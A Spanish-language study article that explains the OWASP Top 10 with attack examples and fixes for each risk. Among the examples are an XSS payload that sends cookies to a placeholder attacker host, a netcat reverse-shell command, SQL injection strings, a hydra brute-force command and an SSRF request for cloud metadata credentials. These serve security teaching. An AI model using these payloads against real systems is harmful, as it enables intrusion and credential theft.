🔎 Buscar

🛡️ OWASP Top 10 explicado

Las diez vulnerabilidades web más peligrosas, cada una con un ejemplo atacable real y su fix, más una sección de defensa práctica.

Wiki / Apuntes📖 Contenido

OWASP Top 10 explicado

OWASP (Open Worldwide Application Security Project) es una fundación sin ánimo de lucro que produce los estándares de referencia en seguridad de aplicaciones. Su proyecto más conocido es el Top 10: el ranking de los riesgos de seguridad más críticos para aplicaciones web, actualizado cada pocos años a partir de datos reales de cientos de organizaciones.

El Top 10 no es una lista de bugs: es una lista de categorías de riesgo construidas a partir de CWEs (Common Weakness Enumerations). Para cada una vamos a ver qué es, un ejemplo atacable de verdad, el fix y buenas prácticas.

💡 Este artículo usa la versión de 2021, la más reciente y estable. La lógica subyacente no cambia entre versiones: cada categoría sigue siendo un tema de design, implementation o operations.

Vista general

Posición Categoría Idea en una frase
A01 Broken Access Control El usuario accede a datos que no le corresponden
A02 Cryptographic Failures Datos sensibles sin cifrar o cifrados mal
A03 Injection El input del usuario se ejecuta como código
A04 Insecure Design La seguridad se decide al final, no en el diseño
A05 Security Misconfiguration Servidor mal configurado por defecto
A06 Vulnerable Components Dependencias con CVE conocidas sin parchear
A07 Identification and Auth Failures La autenticación se puede evadir o forzar
A08 Software and Data Integrity Failures El código o los datos no son lo que dicen ser
A09 Logging and Monitoring Failures Los ataques pasan sin dejar rastro
A10 SSRF El servidor pide URLs que el atacante elige

A01 — Broken Access Control

El servidor no comprueba si el usuario tiene permiso para la operación que está haciendo. Es el más común del Top 10 y casi siempre un fallo de autorización (no de autenticación).

Ejemplo atacable (IDOR — Insecure Direct Object Reference):

GET /api/pedidos/83247 HTTP/1.1
Host: tienda.example
Authorization: Bearer TOKEN_DE_ANA

El endpoint devuelve el pedido 83247 sin verificar que el token pertenece al dueño de ese pedido. Un atacante solo tiene que cambiar el id:

curl https://tienda.example/api/pedidos/83248 -H "Authorization: Bearer TOKEN_DE_ANA"
{
  "pedido": 83248,
  "cliente": "Marta",
  "direccion": "Calle Secreta 123",
  "tarjeta": "**** 1234"
}

Fix: nunca confiar en el id del cliente para decidir qué devolver. Comprobar la pertenencia en el servidor:

@app.get("/api/pedidos/{pedido_id}")
def get_pedido(pedido_id: int, user=Depends(get_current_user)):
    pedido = db.query(Pedido).filter(Pedido.id == pedido_id).first()
    if pedido is None:
        raise HTTPException(404, "No existe")
    # AUTHORIZATION: ¿este pedido es de este usuario?
    if pedido.usuario_id != user.id:
        raise HTTPException(403, "No tienes acceso")
    return pedido

Reglas de oro para A01:

  • Deny by default: el acceso se concede explícitamente, no se niega.
  • Chequear la autorización en el servidor, en cada operación, no solo en el frontend (ocultar un botón no es seguridad).
  • No confiar en parámetros, cuerpos o cabeceras para decidir roles: derivarlos del token/sesión del servidor.
  • Invalidar tokens y sesiones en logout y al cambiar de rol.

A02 — Cryptographic Failures

Datos sensibles almacenados o transmitidos sin cifrar o con algoritmos rotos. Antes se llamaba Sensitive Data Exposure; el cambio de nombre deja claro que el problema es la crypto usada, no el dato en sí.

Ejemplo atacable: contraseñas guardadas con MD5:

INSERT INTO usuarios (email, password_hash) VALUES
('ana@x.com', MD5('password123'));  -- 🙅 mal

MD5 y SHA1 son instantáneos (se calculan en nanosegundos). Con una rainbow table o un simple diccionario, md5('password123') se resuelve en milisegundos:

echo -n "password123" | md5sum
# 482c811da5d5b4bc6d497ffa98491e38  →  se rompe al instante

Fix — tres frentes:

  1. En tránsito: HTTPS siempre, HSTS, nunca datos sensibles en URLs ni logs.
  2. En reposo: cifrar datos personales en la BD, y las contraseñas nunca con hash plano rápido: usar bcrypt/argon2 (ver Autenticación y sesiones).
  3. Claves: generarlas con fuente de aleatoriedad criptográfica y gestionarlas en un secrets manager.
from argon2 import PasswordHasher

ph = PasswordHasher()
hash_ = ph.hash("password123")   # lento a propósito (~50-100 ms)
assert ph.verify(hash_, "password123")  # True

⚠️ No “inventes” criptografía: AES-GCM (no ECB), RSA-OAEP, TLS 1.3 y hashing de contraseñas con argon2id/bcrypt. Los modos de operación rotos (ECB) filtran patrones del texto plano.


A03 — Injection

El input del usuario se concatena en una cadena que luego se interpreta como código o como query. El clásico es SQL injection.

Ejemplo atacable:

username = request.form["username"]

query = "SELECT * FROM usuarios WHERE username = '" + username + "' AND password = '" + password + "'"
cursor.execute(query)

El atacante envía username = admin'-- y la query se convierte en:

SELECT * FROM usuarios WHERE username = 'admin'--' AND password = 'x'

Los dos guiones comentan el resto: el atacante entra sin contraseña. Peor aún, la misma vía permite leer tablas enteras con UNION SELECT, modificar datos (INSERT/UPDATE) e incluso escalar a RCE en algunos motores:

' UNION SELECT username, password FROM usuarios --

Fix — parameterized queries siempre:

query = "SELECT * FROM usuarios WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))   # los valores van aparte, nunca se interpretan

La diferencia clave: los parámetros se envían separados de la estructura SQL, así que el motor los trata siempre como datos, no como código.

Otras inyecciones hermanas y sus fixes:

Tipo Ejemplo Fix
SQL ' OR 1=1 -- Parameterized queries (ORMs lo hacen bien)
NoSQL {"username": {"$ne": null}} Validar tipos estrictos, librerías del ORM
Command ; rm -rf / en un system() Nunca concatenar; exec con lista de args
XSS <script> en HTML/JS Escapar según el contexto (ver abajo)
Template {{ config }} en Jinja Autoescape + nunca mezclar template y datos

XSS (Cross-Site Scripting) es la inyección más frecuente del lado del cliente:

// El atacante publica un comentario con:
<script>
  fetch('https://malo.example/roba?c=' + document.cookie);
</script>
// Y el servidor lo inserta sin escapar:
comentario.innerHTML = userComment;  // 🙅 el <script> se ejecuta
// Fix: escapar el texto, nunca inyectarlo como HTML:
comentario.textContent = userComment;        // se muestra como texto
// Y en el backend, escapar/encode al renderizar según el contexto.

💡 Regla: separar código y datos en todos los niveles (SQL, shell, HTML, plantillas). Ese es el principio único detrás de todas las inyecciones.


A04 — Insecure Design

Fallos de diseño, no de implementación: la aplicación no fue pensada para ser atacada. Es la única categoría en la que el fix no es una línea de código.

Ejemplo atacable: el flujo de recuperación de contraseña envía la pregunta de seguridad al cliente y confía en la respuesta:

// El frontend pregunta "¿nombre de tu mascota?" y manda la respuesta al servidor.
// El atacante conoce los datos públicos del usuario (típico en redes sociales).
POST /reset-password
{ "email": "ana@x.com", "pet_name": "rocky" }

No importa cuánto cifres la respuesta: el problema es que el factor de verificación es información adivinable. Diseñar bien aquí significa usar un factor de posesión (email con enlace de un solo uso de 15 minutos) o un segundo factor real.

Buenas prácticas de diseño seguro:

  • Threat modeling antes de escribir código: ¿qué puede pasar y qué controlo en cada trust boundary?
  • Trust boundaries explícitas: el cliente es un atacante potencial, siempre.
  • Limits de negocio: intentos, montos, frecuencias, verificaciones extra en acciones sensibles.
  • Privacy by design: no recopilar datos que no necesitas.

A05 — Security Misconfiguration

El servidor o la app funcionan con una configuración insegura por defecto: modo debug activo, credenciales por defecto, errores verbosos, cabeceras de seguridad ausentes.

Ejemplo atacable: la app en modo debug expone el stack trace completo:

GET /api/pedidos/123 HTTP/1.1

HTTP/1.1 500 Internal Server Error
{
  "error": "Traceback: File 'app/models.py', line 42 ...",
  "db": "postgres://root:root@prod-db:5432/app",
  "AWS_ACCESS_KEY_ID": "AKIA..."
}

Fix:

# .env de producción
DEBUG=false
ERROR_LEVEL=critical
SERVER_SOFTWARE_HEADER=off
# Credenciales reales solo en el secrets manager, nunca en el repo
Control Qué hace
Desactivar debug y páginas de error detalladas No filtrar stack traces, rutas ni credenciales
Cambiar credenciales por defecto DBs, paneles admin, servicios de terceros
Cabeceras de seguridad (ver tabla de defensa) Mitigar XSS, clickjacking, sniffing
Principio de mínimo privilegio La app corre con el usuario mínimo necesario
Hardening del servidor TLS 1.3+, actualizaciones, puertos cerrados

A06 — Vulnerable and Outdated Components

Dependencias con CVE conocidos corriendo en producción. El ejemplo estrella: Log4Shell (Log4j, CVE-2021-44228), una vulnerabilidad critical que permitió ejecución remota de código y explotó en masas porque Log4j estaba en casi todo.

Ejemplo atacable:

pip list
# django 2.2   ← EOL desde 2022, CVEs conocidos sin fix
# jquery 1.12  ← XSS patched en 3.5.0 hace años
# lodash 4.17.15 ← CVE-2019-10744 (prototype pollution)

Fix — ciclo de vida de dependencias:

pip-audit           # escanea Python → reporta CVEs con fix
npm audit           # idem para JS
# en CI: fallar el build si hay CVE critical sin parche
  • SBOM (Software Bill of Materials): inventario de qué componentes y versiones tienes.
  • Suscribirse a feeds de seguridad (GitHub Dependabot, advisory DBs).
  • Nunca correr con la versión latest sin fijar versiones reproducibles (package-lock.json, pipenv.lock, go.sum).

A07 — Identification and Authentication Failures

La autenticación se puede evadir o forzar: login sin límite de intentos, sesiones predecibles, contraseñas en texto plano, ausencia de MFA.

Ejemplo atacable — credential stuffing:

# el atacante tiene listas de email+contraseña filtradas en otros sitios
hydra -l ana@x.com -P passwords.txt tienda.example https-post-form \
  "/login:email=^USER^&password=^PASS^:F=incorrect"

Sin rate limiting ni bloqueo, el atacante prueba miles de contraseñas por minuto y entra cuando el usuario reutilizó una contraseña de una filtración anterior.

Fix:

# 1) rate limiting por IP + por cuenta
@app.post("/login")
@limiter.limit("5/minute")
def login(request: Request):
    ...
    # 2) retraso exponencial tras N fallos
    # 3) MFA (TOTP/WebAuthn) para todo lo que importa
    # 4) sesión: Id aleatorio de alta entropía, HttpOnly, Secure, SameSite

Reglas:

  • Contraseñas con hash lento (argon2id/bcrypt), nunca en plano.
  • Session IDs aleatorios con buena entropía, rotación tras login, expiración.
  • MFA donde el daño potencial lo justifique.
  • Errores de login que no revelen si el email existe (mensaje genérico).

A08 — Software and Data Integrity Failures

El código o los datos que consumes no garantizan que son los que crees. Incluye actualizaciones sin firmar, untrusted deserialization, insecure CI/CD y pipelines que ejecutan código sin verificar.

Ejemplo atacable — deserialización insegura:

import pickle

def load_config(blob):
    return pickle.loads(blob)   # 🙅 pickle ejecuta código arbitrario
# El atacante envía un blob pickle diseñado para ejecutar:
# os.system('nc -e /bin/sh ATACANTE_IP 4444')

Fix:

# Solo deserializar formatos sin código (JSON), validando esquema:
import jsonschema

jsonschema.validate(payload, schema)
data = json.loads(payload)
  • Firmar releases y verificar firmas/checksums al instalar.
  • En CI/CD: nunca ejecutar código de PRs sin revisar, usar OIDC en vez de secrets compartidos, inmutabilidad de artefactos (hashes).

A09 — Logging and Monitoring Failures

Los ataques no se detectan porque no hay logs útiles, no hay correlación ni alertas, o los logs no se conservan. También es el fallo más barato de arreglar y el que más suele ignorarse.

Ejemplo atacable: el servidor registra solo errores 500, sin registrar intentos de login fallidos, sin X-Request-ID, sin alertas. Un atacante prueba la API de pagos 10 000 veces en una hora y nadie se entera.

Fix — loggear lo que importa:

import logging

logger = logging.getLogger("auth")

@app.post("/login")
def login(request: Request):
    try:
        user = authenticate(...)
        logger.info("login_ok", extra={"user": user.email, "req_id": request.id})
    except AuthError:
        logger.warning("login_fail", extra={"reason": "bad_password", "req_id": request.id})
    # nunca loggear passwords, tokens, tarjetas
  • Logs estructurados (JSON) con request_id para correlacionar una petición entre servicios.
  • Alertas sobre eventos de seguridad: N intentos fallidos, acceso a rutas admin, errores de deserialización.
  • Retención y rotación; los logs también se cifran.

💡 Las métricas de detección (login fail rate, 401/403 rate) son tan importantes como las de rendimiento. Un incidente detectado en segundos se convierte en un informe; a los días, en un breach.


A10 — SSRF (Server-Side Request Forgery)

El servidor hace una petición HTTP a una URL que el atacante controla, y eso permite alcanzar recursos internos. El clásico: funciones que reciben una URL del usuario para validarla, descargarla o capturarla.

Ejemplo atacable — el servicio de “vista previa de imagen”:

GET /api/preview?url=http://169.254.169.254/latest/meta-data/

169.254.169.254 es el metadata endpoint de AWS: si el servidor tiene IAM role, esa petición devuelve las credenciales temporales del servicio:

curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# → devuelve el AccessKeyId, SecretAccessKey y Token de producción

Con eso, el atacante tiene las credenciales de tu servidor. Variantes: http://localhost:6379 (Redis sin auth), http://10.0.0.5:8080 (servicios internos).

Fix — múltiples capas:

from urllib.parse import urlparse
from ipaddress import ip_address, ip_network

ALLOWED_HOSTS = ["media.example.com", "api.example.com"]

def safe_fetch(url: str):
    host = urlparse(url).hostname
    ip = socket.gethostbyname(host)
    if host not in ALLOWED_HOSTS:            # 1) allowlist de hosts
        raise ValueError("host no permitido")
    if ip_address(ip) in PRIVATE_NETWORKS:  # 2) bloquear IPs internas
        raise ValueError("IP interna")
    return requests.get(url, timeout=5)     # 3) timeout + sin redirects ciegos

⚠️ El bloqueo de IPs internas debe comprobarse tras resolver DNS (con gethostbyname), porque localhost y 127.0.0.1 se resuelven desde el host. Un SSRF bien defendido usa allowlist de hosts permitidos + bloqueo de rangos privados + validación de DNS rebinding.


Defensa práctica: el kit de supervivencia

Esto no sustituye al Top 10, pero cubre el 80% de los ataques triviales:

Validación de entrada (input validation)

  • Whitelist de formatos siempre que puedas (email, UUID, patrones).
  • Longitudes máximas en todo campo de texto.
  • Rechazar con 400 y sin procesar; nunca confiar en el cliente.

Parameterized queries para todo acceso a datos

Regla innegociable: ningún valor de usuario se concatena en SQL, shell, HTML ni plantillas. Los ORMs modernos lo hacen por ti si no usas raw().

Cabeceras de seguridad (OWASP Secure Headers Project)

Cabecera Mitiga
Content-Security-Policy: default-src 'self' XSS
Strict-Transport-Security: max-age=31536000 Downgrade a HTTP
X-Content-Type-Options: nosniff MIME sniffing
X-Frame-Options: DENY / frame-ancestors Clickjacking
Referrer-Policy: no-referrer Fuga de URLs
add_header Content-Security-Policy "default-src 'self'" always;
add_header Strict-Transport-Security "max-age=31536000" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;

Secrets: nunca en el repo

  • Variables de entorno + secrets manager (Vault, AWS Secrets Manager, Doppler).
  • Rotación periódica y revocación inmediata ante fuga.
  • git secrets / gitleaks en CI para que un git push con una key no llegue al remoto.

Rate limiting

limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;

location /login {
    limit_req zone=login burst=3 nodelay;
    proxy_pass http://app;
}

Con retraso exponencial y bloqueo por cuenta en los endpoints sensibles (login, reset, pagos).

Checklist de despliegue

  1. DEBUG=false, errores genéricos, cabeceras de seguridad puestas.
  2. Dependencias auditadas (SBOM + scans en CI).
  3. HTTPS con HSTS, TLS 1.2+.
  4. Logs estructurados con alertas de seguridad.
  5. Backup cifrado y probado de restauración.

Para profundizar

Estudio · Recursos de todo el mundo (inglés, chino, japonés, español, francés, ruso…) curados y traducidos al español.